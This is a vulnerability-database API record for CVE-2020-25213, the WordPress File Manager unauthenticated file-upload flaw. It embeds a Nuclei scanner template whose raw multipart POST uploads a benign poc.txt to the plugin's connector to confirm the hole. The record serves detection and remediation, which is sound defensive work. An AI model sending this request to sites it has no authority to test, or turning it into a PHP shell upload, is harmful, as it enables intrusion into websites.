{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-25213/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-25213/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-25213/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-25213/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-25213/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-25213"},"sightings":{"href":"/api/v1/sightings/cve-2020-25213"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-25213.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-25213\n\n# Uploaded file will be accessible at:-\n# http://localhost/wp-content/plugins/wp-file-manager/lib/files/poc.txt\ninfo:\n  name: WordPress File Manager Plugin - Remote Code Execution\n  author: foulenzer\n  severity: critical\n  description: The WordPress File Manager plugin prior to version 6.9 is susceptible to remote code execution. The vulnerability allows unauthenticated remote attackers to upload .php files.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.\n  remediation: |\n    Update to the latest version of the WordPress File Manager Plugin to mitigate this vulnerability.\n  reference:\n    - https://plugins.trac.wordpress.org/changeset/2373068\n    - https://github.com/w4fz5uck5/wp-file-manager-0day\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-25213\n    - http://packetstormsecurity.com/files/160003/WordPress-File-Manager-6.8-Remote-Code-Execution.html\n    - http://packetstormsecurity.com/files/171650/WordPress-File-Manager-6.9-Shell-Upload.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-25213\n    cwe-id: CWE-434\n    epss-score: 0.97328\n    epss-percentile: 0.99894\n    cpe: cpe:2.3:a:webdesi9:file_manager:*:*:*:*:*:wordpress:*:*\n  metadata:\n    max-request: 1\n    vendor: webdesi9\n    product: file_manager\n    framework: wordpress\n  tags: cve,cve2020,wordpress,rce,kev,fileupload,intrusive,packetstorm,webdesi9,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Content-Type: multipart/form-data; boundary=------------------------ca81ac1fececda48\n\n        --------------------------ca81ac1fececda48\n        Content-Disposition: form-data; name=\"reqid\"\n\n        17457a1fe6959\n        --------------------------ca81ac1fececda48\n        Content-Disposition: form-data; name=\"cmd\"\n\n        upload\n        --------------------------ca81ac1fececda48\n        Content-Disposition: form-data; name=\"target\"\n\n        l1_Lw\n        --------------------------ca81ac1fececda48\n        Content-Disposition: form-data; name=\"mtime[]\"\n\n        1576045135\n        --------------------------ca81ac1fececda48\n        Content-Disposition: form-data; name=\"upload[]\"; filename=\"poc.txt\"\n        Content-Type: text/plain\n\n        poc-test\n        --------------------------ca81ac1fececda48--\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - poc.txt\n          - added\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - application/json\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100bbbbb59a4fc221eeef1b2004610cae48a401734b947b430ec80b54b93fea236202205d93205660dcbd8d1df683943af99070e287e55062a605e06cd109eafb69aff7:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-25213"}